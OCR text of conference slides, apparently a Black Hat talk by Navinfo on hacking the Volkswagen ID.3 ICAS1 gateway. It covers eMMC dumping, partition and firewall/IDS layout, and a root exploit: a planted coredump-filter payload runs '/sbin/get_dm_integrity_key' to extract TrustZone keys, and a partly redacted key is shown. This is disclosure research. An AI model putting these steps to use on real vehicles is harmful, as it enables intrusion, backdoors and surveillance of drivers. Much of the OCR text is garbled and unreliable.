
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root

Group

root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root

Size Date

4096
4096
4096
4096
40896
4096
8192
40896
&l
4096
4096
16384
40896
4096
4096
7
8192
4096
4096
4096
40896
605515776
4096
(¢}
4096
4096

BED]
Jan
BED]
Dec
Jan
BED]
Jan
Dec

BEL R

Jan
BED]
BED]
Jan
BED]
Jan
Jan
BED]
Jan
BED]
BED]
Jan
BED]
Jan
Jan
BED]
Jan
BED]
BED]

BED]

BED]

U Mojave-v2(full)_eMMC_SWDL_NORMAL aarch64le

Filename

.boot

ucM

acdb

arhud

bin

coredump

data -= /var/data
dev

etc

firmware

hmi

images

issw

1ib -= ./libs64
1ib64
middleware

opt

persist
persist_backup
proc

resources

root

sbin

scripts

tmp -> /fdev/shmem
usr

var

vm
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The video is posted to Navinfo’s private channel and is only shared with Volkswagen employees through a link.


https://www.youtube.com/watch?v=8hpOx0TKvaw&list=PL4ROVYxOC6n0Vt8ItIBJNRGx2iAj1Mpkm&index=8
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The view of gateway block

ICAS1 is practically the
“brain” of the ID3, ID4,
ID5, ID6 cars

It has access to critical
modules of the car
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Front and back sides of gateway PCB
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* N

V Iﬁ' : SK hynix

e  H26M52208FPRQ (€

) e ol Ml ol

——

L

e ®S o yAND  012R
. P
T W
*-@ o & omiayUYS3AE2
= B

H26M52208FPRQ
eMMC flash chip

R8A77960
R-Car-M3e SoC
ARM Cortex-A57
Dual

ARM Cortex-A53
Quad

ARM Cortex-R7 Dual
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Reading eMMC

| * To be able to read eMMC
without unsoldering we need
| to stop processor

* For example, by shorting

crystal oscillator

vCCca

eMMC pinout Shorted crystal
oscillator
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To read e MMC without
unsoldering we used SD-
card reader that can work
in one-bit mode (GL823K
chip)

mmmmmmmmm

=y = =1 - — - -

GLS823K

SSOP-16 (150mil)

HHHHHHHHHH

Only need to connect
CLK, CMD, DO pins
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FS128SDBH20
128 MBit SPI flash

| Shorted crystal
S oscillator

SPI pinout on the back side of the board
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7

Peripherals: A

J533 - Gateway (GW)

Chip PPC - SPC58
RTOS - Gatew|CASTme

Chip ARM - 88Q5050
Secure Automotive

Ethernet Switch

Chip ARM - 88Q5050

Secure Automotive
Ethernet Switch

e 7x Ethernet BASE-T1
* 1x Ethernet BASE-TX
¢ 10x CAN bus

\

(R-Car M3 R8a77960 Automotive System-on-Chip (SoC)
e Arm Cortex-A57 Dual
* Arm Cortex-A53 Quad
¢ Arm Cortex-R7 Dual

ARM Thumb
RTOS
SWCLEmbed1|CAS1

Trusted zone OP-TEE

HOST OS - L4ARE Fiasco OC
4 N

OS: corbos 1.14.1 (rocko)

N\

\

\

OS: corbos 1.14.1 (rocko) OS: corbos 1.14.1 (rocko)

Name: vm housekeeping Name: vm adaptive Name: vm java
Opencontainers Opencontainers Opencontainers
N X\ NN\ N\ ) N\ N\ )

: 28 . : 2 ¢ v 2 5 g

5 = T 3 c @ o = o 3 c © o = [ c 0

g2l el e , S 2l ¢2|| ¢ g2l el &3

2 0 c 9 E 5 o] g & o O £ 5 9 z2 ® o U £ 5 U
Bs|leg|| s 8 b sEllegll o2 (i Bcllec|l &% i
5 © 5 < 0o < © 5 < © o g 8 £ 2 O B8

® O U E oY © O U

\\ N/ \\ J\ )) Q J\ VA AN J) \k J\ /\. J\ J)

\.

\

* - this high-level diagram is simplified, the reality is much more complex.
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PY H ~ Device Start End Sectors Size Type
EMMC dump Si1ze ] 6 GB /dev/loop9p7 6240 6245 6 3K d?;a - HypervisorLinuxKernel (loop9pl0)
/dev/loop9p8 6246 59487 53242 26M data - ulmage, L4RE micro kernel (loop9pll)
° o o /dev/loop9pl4d 131072 262271 131200 64.1M data - extended partition table device
63 partitions /dev/loop9plapll 70 32735 32666 16M data - Linux kernel (loop9pl4pl5,pl9,p23)
/dev/loop9pld4pl3 32742 32831 90 45K data - Device Tree (loop9plédpl7,p2l,p25)
- 6 - SC]UC]ShfS /dev/loop9pl5 262272 4587775 4325504 2.1G Linux filesystem - vm adaptive
/dev/loop9pl5p4 70 65599 65530 32M Linux filesystem - Squashfs - / (loop9pl5p6)

/dev/loop9pl5p7 131200 233599 102400 50M EXT4+dm-integrity - /data

- ]6 - EXT4 /dev/loop9pl5p8 233600 335999 102400 50M EXT4+dm-integrity - /data/adaptive/ara PM-int
/dev/loop9pl5p9 336000 2105471 1769472 64M EXT4 - /data/adaptive/ara PM
/dev/loop9pl5pl0 2105472 2228287 122816 60M EXT4 (empty) - /data/coredump
/dev/loop9pl5pll 2228288 4325439 2097152 1G EXT4 - /containers

- 2 -ulmage

/dev/loop9pl6 4587776 12059015 7471240 3.6G Ext Part - vm Jjava

- 2 - HypervisorLinuxKerneI /dev/loop9pl7 12059016 15073807 3014792 1.4G Ext Part - vm housing
/dev/loop9pl8 15073808 30341103 15267296 7.3G EXT4 - empty

- 4 - Device Tree Blob

- 33 —Raw data

' SKhynix
H26M52208FPRQ

e FS128SDBH20
128 MBit SPI flash




O

black hat

ELUR O S————

vm_housekeeping

. Communication via IPvé is allowed

ethO
inet6 addr: fe80::7d:faff:fe00:1001%4825040/64
*  Communication via IPv4 is prohibited ech0.11
inet6 addr: fe80::7d:faff:fe00:1001%4825040/64
inet6 addr: fd53:7cb8:383:b::8:10%4825040/64
° o o eth0.2
4 Interfdces Vm_dddphve inet6 addr: fe80::7d:faff:fe00:1001%4825040/64
inet6 addr: fd53:7cb8:383:2::8:10%4825040/64
° o o eth0.2048
4 interfaces vim_|avdad inet6 addr: fe80):7d:faff:fe00:1001%4825040/64
inet6 addr: £fd53:7cb8:383:800::8:10%4825040/64
eth0.2064
° 7 m’rerfaces vm housekeeplng inet6 addr: f£d53:7cb8:383:810::8:10%4825040/64
- inet6 addr: fe80::7d:faff:fe00:1001%4825040/64
eth0.3 - GW-IVI network
S . e e inet6 addr: fe80::7d:faff:fe00:1001%4825040/64
Corbos LanX hqs S1T|CT Iptqbles rUIeS inet6 addr: fd53:7cb8:383:3::8:10%4825040/64
eth0.4
inet6 addr: fe80::7d:faff:fe00:1001%4825040/64

inet6 addr: fd53:7cb8:383:4::8:10%4825040/64

/vmadaptive \ \

~N

vm_java

ethO

inet6 addr: fe80::7d:faff:fe01:600%4825040/64 eth0 )
eth0.2049 inet6 addr: fe80::7d:faff:fe01:700%4825040/64

inet6 addr: fe80::7d:faff:fe01:600%4825040/64 eth0.2050

inet6 addr: fd53:7CP8:383:801::106%4825040/64 inet6 addr: f£d53:7cb8:383:802::107%4825040/64
eth0.2066 inet6 addr: feSO1:7d:faff:feOl:700%4825040/64

inet6 addr: £d53:7cb8:383:812::106%4825040/64 eth0.2071

inet6 addr: fe80::7d:faff:fe01:600%4825040/64 inet6 addr: fe80::7d:faff:fe01:700%4825040/64
eth0.3 GW-IVI network inet6 addr: fd53:7cb8:383:817::107%4825040/64

inet6 addr: fe80::7d:faff:fe01:600%4825040/64 eth0.4

inet6 addr: fd53:7cb8:383:4::107%4825040/64

inet6 addr: fd53:7cb8:383:3::106%4825040/64
\ / k inet6 addr: feSO::7d:faff:fe01:700%4825040/64j
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Gateway has embedded firewall and IDS functionality:

e vm_adaptive

- iptables_vm_adaptive.rules— 5 rules

- ip6tables_vm_adaptive.rules— 355 rules
e vm_housekeeping

- iptables_vm_housekeeping.rules — 5 rules

- ipbtables_vm_housekeeping.rules— 766 rules
* vm_java

- iptables_vm_java.rules— 5 rules

- ipb6tables_vm_java.rules— 622 rules
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Firewall /IDS rules

(—j NFLOG --nflog-prefix "firewallFilterReports.drop.ipv6 header" --nflog-group 102 \
-j NFLOG --nflog-prefix "vw.diag.sec.drop.ipv6 (header);vw.diag.com.drop.ipvé (header)" --nflog-group 300
-J NFLOG --nflog-prefix "firewallFilterReports.drop.unknown 14 protocol (fwd)" --nflog-group 202
-j NFLOG --nflog-prefix "vw.diag.sec.drop.other (fwd)" --nflog-group 300
-J NFLOG --nflog-prefix "firewallFilterReports.drop.unknown 14 protocol(in)" --nflog-group 102
-J NFLOG --nflog-prefix "vw.diag.sec.drop.other (kmtx jin)" --nflog-group 300
-J NFLOG --nflog-prefix "firewallFilterReports.drop.uhknown 14 protocol(out)" --nflog-group 102
-j NFLOG --nflog-prefix "vw.diag.sec.drop.other (kmatrix)" --nflog-group 300
-j NFLOG --nflog-prefix "firewallFilterReports.drop.tcp(fwd)" --nflog-group 202
-j NFLOG --nflog-prefix "vw.diag.sec.drop.TCP (fwd);vw.diag.com.drop.TCP(fwd)" --nflog-group 300
-j NFLOG --nflog-prefix "firewallFilterReports.drop.tcp(in)" --nflog-group 102
-j NFLOG --nflog-prefix "vw.diag.sec.drop.TCP (in);vw.diag.com.drop.TCP(in)" --nflog-group 300

[0: IDS SD REPORTS ~-p udp -m multiport --dports 30490,30491 -m limit --limit 100/sec --limit-burst 10 -j NFLOG --nflog-prefix "serviceDiscoveryReports.match.SD" --nflog-group 101 \
[0:0] -A IDS SPECIAL FRAME REPORTS -p udp -m udp --dport 546 -m limit --limit 100/sec --limit-burst 10 -j NFLOG --nflog-prefix "specialFrameReports.match.DHCPv6" --nflog-group 101

[0:0] =-A IDS SPECIAL FRAME REPORTS -p udp -m udp --dport 547 -m limit --limit 100/sec --limit-burst 10 -j NFLOG --nflog-prefix "specialFrameReports.match.DHCPv6" --nflog-group 101

[0:0] -A IDS SPECIAL FRAME REPORTS -p ipv6-icmp -m limit --1limit 100/sec --limit-burst 10 -j NFLOG --nflog-prefix "specialFrameReports.match.ICMPv6" --nflog-group 101

[0:0] -A IDS SPECIAL_ FRAME_REPORTS -p tcp -m tcp --tcp-flags SYN SYN -m limit --limit 100/sec --limit-burst 10 -j NFLOG --nflog-prefix "specialFrameReports.match.TCP_CNTL" --nflog-group 101
[0:0] -A IDS SPECIAL_ FRAME REPORTS -p tcp -m tcp --tcp-flags FIN FIN -m limit --limit 100/sec ff‘imitfburst 10 -j NFLOG --nflog-prefix "specialFrameReports.match.TCP_CNTL" --nflog-group 101
[0:0] -A IDS SPECIAL_FRAME_REPORTS -p tcp -m tcp --tcp-flags RST RST -m limit --limit 100/sec --limit-burst 10 -j NFLOG --nflog-prefix "specialFrameReports.match.TCP_CNTL" --nflog-group 101
[0:0] =-A IDS SPECIAL FRAME REPORTS -p udp -m udp --dport 13400 -m limit --limit 100/sec --limit-burst 10 -j NFLOG --nflog-prefix "specialFrameReports.match.DoIP" --nflog-group 101

[0:0] -A IDS SPECIAL_FRAME_REPORTS -p tcp -m tcp --dport 13400 -m limit --limit 100/sec --limit-burst 10 -j NFLOG --nflog-prefix "specialFrameReports.match.DoIP" --nflog-group 101

[0:0] -A IDS SPECIAL FRAME REPORTS -p udp -m udp --dport 1701 -m limit --limit 100/sec --limit-burst 10 -j NFLOG --nflog-prefix "special FrameReports.match.L2TP" --nflog-group 101

. J

Firewall/IDS for ethernet are basic filtering L3 /L4 rules — they restrict access based on ip addresses,
ports, and protocol type
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IDS General Info

Versions

IDS brain: Empty

IDS Enabled/Disabled

Current mode: Empty
Last updated Empty

Update mode: | Enable v ‘ | Update |

Component client status

Current state: Empty
Last updated Empty

Update state: | kPrepSD V|| Update |

Brain Configuration

Main Page CAN Message Info

MEB Info

Storage Info

General Info
Msg Name|Msg ID| Msg Type|can Bus|ResuLT_ok|A|8]c|D|E]F|| Attacks sum |[Total[First Attack]Last Attack

Storage Info

" SongoMame [StorgeSisllatsatusupdete]  Desoton | |
Storage that is managed by the shaper, and contains events generated by IDS engines

Shaperevents | None | None |
Shaper backend report mm Storage that contains a ready report from IDS brain to the backend

Queues that are containing sensor data structures, before they get to the engines

View of the IDS interface
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20040 PO @O - © v LTEA 020%
ID.3 8
7
GW \ 3 1 gkm
4 . )
vim_java
. . ( R
Java-container A csc-mod-container
100
. MQTT . ] MQTT + PSK +TLS
SerVICe tcp:1883 mqtt-Cdp J tcp:8883 ’ OCU / _ _: Ladevorgang starten
- = \ / ¢ 3R  Klimatisierung >
\\ j) A @ Service Partner
VW cloud
{@} Einstellungen
Ll o J
We Connect ID functionality HTTPS ¢
. .. Certificate pmning
* manage air-conditioner )
We Connect ID
* manage battery charge
app 5
S/ - — |
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/7
SPI Chip —':—} ! ulmage - L4RE kernel ] eMMC Chip
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
\

'

= ) e

Kernel Corbos Linux+RSA

|
I
I
: g dm-integrity
I
( )
I
I
I
I
I
I

TrustZone

SR

dm-verity rootfs

7 Y — ( mount /data/ )

mount Squashfs

v —p» | +hmac+sha256 with key from

[ BL31 - FirmwareAP J
l |
[ BL32 - TrustZone OP-TEE J—I—
|
]

——— o oo

Corbos Linux - rootfs/

\ - | [

mount /data/adaptive/
ara_PM-int/

r
rootfs/sbin/init.pre ]

= mount /containers/ J

r

—————————————————

4

D dm-verity rootfs/container_key_pub.pem ]
\

P | mount /containers/*.squashfs-xz-dmverity ]

» | mount /data/adaptive/ara_PMl)

b[ mount /data/coredump/ )

e S . S S . — . -

. . D D R D R D S D D . .,
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* Root partitions
- RSA key builtin in kernel Corbos
- RSA digital signature
- Squashfs Corbos rootfs

- dm-verity
Offset formula (*QWORD(0x28)+0xFFF)&0xFFFFFFFFFFFFFOO0

ﬂ)ooooo: 68 73 71 73-6A 04 00 00-1A 9E 22 60-00 00 02 00 hsgsj® —B" @ \
00000010: 40 00 00 00-03 00 11 00-C1 01 01 00-04 00 00 00 €@ © <« 10O ¢
00000020: c4 00 0a a0-00 00 oo oojENEOICIEEEEE - = 14

00000030: 83 90 D8 00-00 00 00 00-FF FF FF FF-FF FF FF FF abt

00D8AO0O0: 31 20 34 30-39 36 20 34-30 39 36 20-33 34 36 36 1 4096 4096 3466
00D8A010: 20 33 34 36-37 20 73 68-61 32 35 36-20 39 61 34 3467 sha256 9a4
00D8A020: 61 63 65 66-35 31 35 39-39 62 63 64-36 66 64 36 acef51599%cd6fdé6
00D8A030: 66 62 66 30-35 62 63 31-62 36 37 66-63 35 33 33 fbf05bclb67£c533
00D8A040: 36 63 39 39-37 33 38 31-63 38 66 66-66 31 31 31 6c997381c8ffflll
00D8BA0O50: 39 38 64 33-38 38 30 34-33 37 64 61-61 20 61 62 98d3880437daa ab

00D8A080: 36 65 38 35-36 31 62 32-32 66 31 34-31 34 35 38 6e8561b22f141458
00D8A0S0: 31 39 61 30-31 37 62 62-65 34 33 62-64 64 00 1 19a017bbe43bdd <«

00D8AOAD: aé¥%Ae0 0T 9fz ni
00D8AOBO:

: 100901 || Vi=ie:
Q}SAOCO: ilé yREL\y, 57, | /
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"CAP_NET_BIND_ SERVICE",
"CAP_SYS_CHROOT"

1,
"ambient": [
. "CAP_NET BIND SERVICE",
° Containers "CAP_SYS_CHROOT"
]
. . . . * 1 .
- container location /containers/A /<Container Name> /*.squashfs- | T s
xz-dmverity "root”: {
"path": "rootfs",
"readonly": true
- runc - container mqnager(open container initiative run'rlme) 1, R ) _
'hostname”: "ComServFlex TCAS1 Gateway",
"hooks": {
_ H "networkconfig": [],
squashfs file system S )
"poststop”: []
° ° ° ° }’
- custom implementation dm-verity in squashfs rmounts®: [
{
° ° ° ° ° ° "d"_ i ‘: ": " I n
- custom implementation RSA digital sigranture in squashfs e nooacs /PrOcT

"source": "proc",
"options": []

root root
root root
root root
root root
root root
root root
root root
root root
root root
root root
root root
root root
root root

drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x

"destination”: "/dev",
"type": "tmpfs",
"source": "tmpfs",
"options": [
"nosuid",
I "strictatime”,
"mode=755",
"size=65536k"

2
2
2
2
2
2
2
2
2
2
2
2
2

N N L A A A A
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Tool for managing the containers and check digital signature /sbin /cont-ctrl

RSA public key /etc/container_key_pub.pem

* Offset
(*QWORD(0x28)+0xFFF)&0xFFFFFFFFFFFFFOO0 * Dm-verity parameters, offset_param=size-0x1000
* dm-verity metadata * Digital signature, offset_sig=offset_param+400
00000000: 68 73 71 73-62 00 00 @0-22 DC 9E SE-00 00 02 00 hsqsb  "g&" 9\ @El@@a: 68 61 73 68-74 79 70 65-3D 31 @A 64-61 74 61 62 hashtpr_-:lEdatan

00000010: 05 00 00 00-04 00 11 0O-CO 00 01 0D-04 00 00 68 + ¢ < L@ ¢
0000P020: 63 ©D 00 0L-00 0O 0O VO-Ac A3 1D 00-00 00 00 00 cb 2ie
00BeeE30: 9E A8 1D 00-00 00 00 @0-FF FF FF FF-FF FF FF FF FBsge

PO1E1R10: 6C 6F 63 6B-73 3D 34 37-35 0A 64 61-74 61 62 6C locks=475=databl
PO1E1020: 6F 63 6B 73-69 7A 65 3D-34 30 39 36-0A 68 61 73 ocksize=4096=has
@O1E1R30: 68 62 6C 6F-63 6B 73 69-7A 65 3D 34-38 39 36 @A hblocksize=4096=

@01DBO0@: 76 65 72 69-74 79 00 00-01 00 00 00-01 00 00 00 verity © © PO1E1040: 68 61 73 68-61 6C 67 6F-72 69 74 68-6D 3D 73 68 hashalgorithm=sh
001DBO10: 7C 42 9C 81-7F 5B 44 E6-AE A6 64 0B-11 71 68 (0 |BEilia[Dp«2dd=ghl
001DB020: 73 68 61 32-35 36 00 00-00 00 00 00-00 00 00 00 sha256

PO1E1400: 52 FC 63 /B-0A 5E 70 3C-03 49 83 82-BF 98 22 8/ R"c{®"p<¥Ia&éy"¢
©001DBO3@: 00 00 PO 0P-00 0O 00 PO-00 00 00 0V-00 00 00 0O

001DBO40: 00 10 00 00-00 10 G0 00-DB 01 00 00-00 00 00 00 > » JJo @O1E1410: 40 7F AC 50-61 89 91 @D-23 92 17 39-39 21 26 37 @akPadal#4199!8&7
001DBO50: 20 00 00 00-00 00 00 00-8B 49 AE DB-B2 6F A4 76 ., @01E1420: 3C D1 EC F6-CE @1 6C F6-DF 47 35 (6-90 25 A6 F5 <gwd0l:Mes5LE%2|
001DB060: 7E 7C 23 F9-EF OF FF 51-23 Al 21 66-8F 6A E9 F3 ~|#-nu Q#ilfAjes PO1E1430: 7B 6C @@ 51-39 54 SE 93-4F 41 E7 A9-1B 03 €@ CC {1 Q9TA60ﬂTv—<—'L|Ir'

©01DBO70: 52 E2 03 EB-84 D3 58 BA-00 00 00 00-00 00 00 00 Rrvoa'X|

\ / 0@1E1440: 2A 22 FA FS9-4E E1 18 02-AB 23 3E E7-BB AF 51 (D *"--NBT@X#>19»0=
001DBOSO: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00 \ j
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* The vulnerability requires physical access to e MMC partitions
- Arbitrary command execution in coredump service
- Partition keys from TrustZone can be extracted and used by hackers:
°* vm_java
* vm_adaptive
* vm_housekeeping

- Execution arbitrary script with root privilege
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Workflow in script /sbin/init.pre
/sbin/init.pre

Does dir exist? /data/coredump

Does file exist? /containers/target/debug-container/debug-container.root-

Does file not exist? /data/coredump/coredump-fil-

cp /sbin/coredump-filter /data/coredump/coredump-filter

/eTC/SySCﬂ'd/8O_Coredump'conf chmod 0400 /data/coredump/coredump-filter

o°
)]

o°
ot

kernel.core pattern=| /bin/sh /run/coredump/coredump-filter %$e 3 90 /run/coredump/tmp/%e-sig%s-t%t.%P %P Su %g
$hfs.suid dumpable=0



O

black hat

ELUR O S————

*  The vulnerable script " /sbin /init.pre" checks the file of the container /containers/target/debug-
container/debug-container.rootfs.squashfs-xz-dmverity

*  The script checks coredump-filter and if it does not exist,
- it copies it from /sbin/coredump-filter to /data/coredump/

- sets permissions on the reading.

f”:; [ -d /data/coredump ] && [ -f /containers/target/debug-container/debug-container.rootfs.squashfs-xz-dmverity 1; th;:\\\

if grep -gq coredump /proc/mounts; then
chmod 2770 /data/coredump

In -s /data/coredump /run

cd /data/coredump
[ -f coredump-filter ] || cp /sbin/coredump-filter . && chmod 0400 coredump-filter

fi

\_ Y,
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* Exploit workflow

Mount e MMC partitions

* /data/coredump/
* /containers/

Create directory

* mkdir—p /containers/target/debug-container/

Create an empty file

* touch /containers/target/debug-container /debug-container.rootfs.squashfs-xz-dmverity

Create file with payload
* /data/coredump/coredump-filter

* chmod 777 /data/coredump /coredump-filter
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Partitions EXT4 + dm-integrity hmac+sha256 + TrustZone key
 /data/

* /data/adaptive/ara-PM-int/

/sbin /init.pre

ﬂf find dev $major $((minor+l)); then \

if dmsetup targets | grep -g integrity ; then

if [ -e /sbin/get dm integrity key ] ; then
KEY=$ (/sbin/get dm integrity key)
[ $? -eq 0 -a S${#KEY} -ge 64 ] || exit 1

get le 16 8 "/dev/$devnode"
dmsetup create ara PM-int --table "O S$value integrity /dev/Sdevnode 0 - J 5 block size:$SARA PM INT BS \
journal sectors:$ARA PM INT JOURNAL SECTORS interleave sectorsk32768 journal watermark:80 internal hash:hmac (sha256) : SKEY"
echo "setup device mapper data with dm-integrity"
KEY=""
devnode=mapper/ara PM-int
fi

\_ /

Exploit payload /data/coredump /coredump-filter
* /sbin/get_dm_integrity_key >>/data/coredump /securekey
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root@vm_java: fdata/coredump# 1s -1lha

root 1001
root 1801
root 1001 1691

root 1801 21

root 1061 : EmUp-result.log
root 1001 o : coredump-filter
root 1001 0 current -= 1691
root 1801 ' securekey

root 1001 ; tmp

1679
1690

drwxrws- - -
drwxrws- - -
drwxrws- - -
drwxrws- - -
-TW-Ir--r--

* Trigger coredumps: drwxrws--- 15 root 1001 a.
drwxr-xr-x 11 root root 4. oo
.. . drwXxrws-- - 2 root 1801 4. 1578
- Fault Injection drWXrws- - - root 16001 4, 1640
drwxrws- - - root 1801 4. 1665
drwxrws- - - root 1801 4. 1666
- 1 drwxrws- - - root 1001 4. 1676
DoS gateway services from VI druxrus-—- root 1001 3 1670
drwxrws--- root 1001 4, 1672
_ JUST wdait drwxrws- - - root 1001 : 1675
4.
4.
4

LrwxXrwxrwx
-TW-TW-TW-
drwxrws- - -

2
P
P
2
2
2
2
P
P
2
2
1
1
1
1
4

Name VM key
Vm_housekee ping 9F4 1 74C63FF5AE69860EBF962891 8 B3 1 8367***************************************
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\

\ We've discovered a vulnerability in the
ICAS1 module and can run arbitrary —
/ code in 3 virtual machines in ICAS1. ’o?

The video is posted to Navinfo’s private channel and is only shared with Volkswagen employees through a link.


https://www.youtube.com/watch?v=-2MTo9BBtk4&list=PL4ROVYxOC6n0Vt8ItIBJNRGx2iAj1Mpkm&index=8
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R242 - Front camera J772 - Reversing

for driver assist camerasystem | |'22° - Digtal sound J1254 - Speed J685 — Main display
systems control unit package control unit display pe—
am
Eth BASE-T1 Eth BASE-T1 Eth BASE-T1 FPD-Link Il FPD-Link 1l 1
L J L J
1040 - Ernernanre ™\
J949 - Emergency | ey paseTs / 1533 - Gateway (GW) \ / J794 — Infotainment (V1) \
ANT call module and
online connectivity Host OS - L4RE Fiasco.OC microkernel Host OS - QNXT7
. - |
i unit (OCU) ) WIEI
SR Eth BASE-T1
J666 - Internet Eth BASETY — Bluetooth
ANT access control unit
| (Car2X) i i usekeepi
::: vmsve vm_sdaptive | [vm_ho ping [ Automotive Grade Linux UART
J428 - Adaptive | = PASET! RTos —
cruise control unit GatewlCAS1ME - Chip PPC -
Chip PPC-SPC58 / \ SCHABTE04SKUZ / Eth BASE-TX

[ T b
OBD2 CAN bus

CAN bus, displays and controls

L i L i 1 Y ‘L L
Infotainment CAN bus

Running gear sensors CAN bus

Convenience CAN bus

Powertrain CAN bus
A A

¢ l ,
JO65 - Interface for

ANT entry and start
system

J623 - Engine/motor J104 - ABS control

control unit unit Ec..

Access to Gateway and installation of backdoors in it requires initial physical access to the gateway!

* - this high-level diagram is simplified, the reality is much more complex.
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Accomplished. Not accomplished.

Obtained root access & installed backdoor in Areas for future cybersecurity researches.

In-Vehicle Infotainment & Gateway

Extract & steal car location history remotely @ Embed malicious code & stream in ADAS

Record passengers and driver
audio conversations through the

. Control car’s entry system
microphone

(open doors\windows, start engine)

Record information from the car’s
cameras and send the data to a remote
server ~

@ Control acceleration,
steering and brakes remotely
Control car charging remotely

Manipulate with info on the Infotainment and =
the speed displays @
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Safety risks:

. Full remote access to the car's displays (media system and speedometer).

. Manipulate with info on the Infotainment and the speed displays

Cybersecurity/Data privacy risks:

. Track the current car’s geo-location remotely

. Extract & steal car location history remotely

. Record passenger and driver audio conversations through the microphone

. Record information from the car’s cameras and send the data to a remote server
. Access to contacts, pictures, sms from the phonebook

Additional risk:

. Control car charging remotely or block car from charging
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https://www.youtube.com/watch?v=dLCN8GD4cKA&list=PL4ROVYxOC6n0Vt8ItIBJNRGx2iAj1Mpkm&index=1
https://www.youtube.com/watch?v=RrgXgDYbdF8&list=PL4ROVYxOC6n0Vt8ItIBJNRGx2iAj1Mpkm&index=2
https://www.youtube.com/watch?v=ZtRY7kXXoks&list=PL4ROVYxOC6n0Vt8ItIBJNRGx2iAj1Mpkm&index=5
https://www.youtube.com/watch?v=mxXSR_856_k&list=PL4ROVYxOC6n0Vt8ItIBJNRGx2iAj1Mpkm&index=3
https://www.youtube.com/watch?v=OufHp1pMB8M&list=PL4ROVYxOC6n0Vt8ItIBJNRGx2iAj1Mpkm&index=6
https://www.youtube.com/watch?v=8BXrmlqAkhs&list=PL4ROVYxOC6n0Vt8ItIBJNRGx2iAj1Mpkm&index=4
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It’s challenging to cover all aspects of our research in one presentation.

So, we plan to presentin the future the following topics:

1. Fuzzing wireless interfaces in the car

Hardware and software tools for fuzzing Cypress/Broadcom WiFi and Bluetooth chip BCM89359
Attack vectors via Bluetooth and Wi-Fi interfaces

Architecture of Emergency call module control unit, communication unit

Back-End services of connected cars

A SR
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Next steps - Part 2:

*  Focus on other wireless interfaces, including V2X

*  Show the architecture of communication modules inside the cars and how we can research them
*  Show the developedtools for fuzzing Bluetooth/Wi-Fi chipsets in cars

*  Demonstrate new potential vulnerabilities in connected cars and new pen-testing tools

*  Demonstrate a virtual stand for efficient and collaborative remote pen-testing of the connected cars

See our next presentation at the future Blackhat conferences
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Questions®

Sergey Razmakhnin
Head of cybersecurity

<] cybersecurity@navinfo.eu
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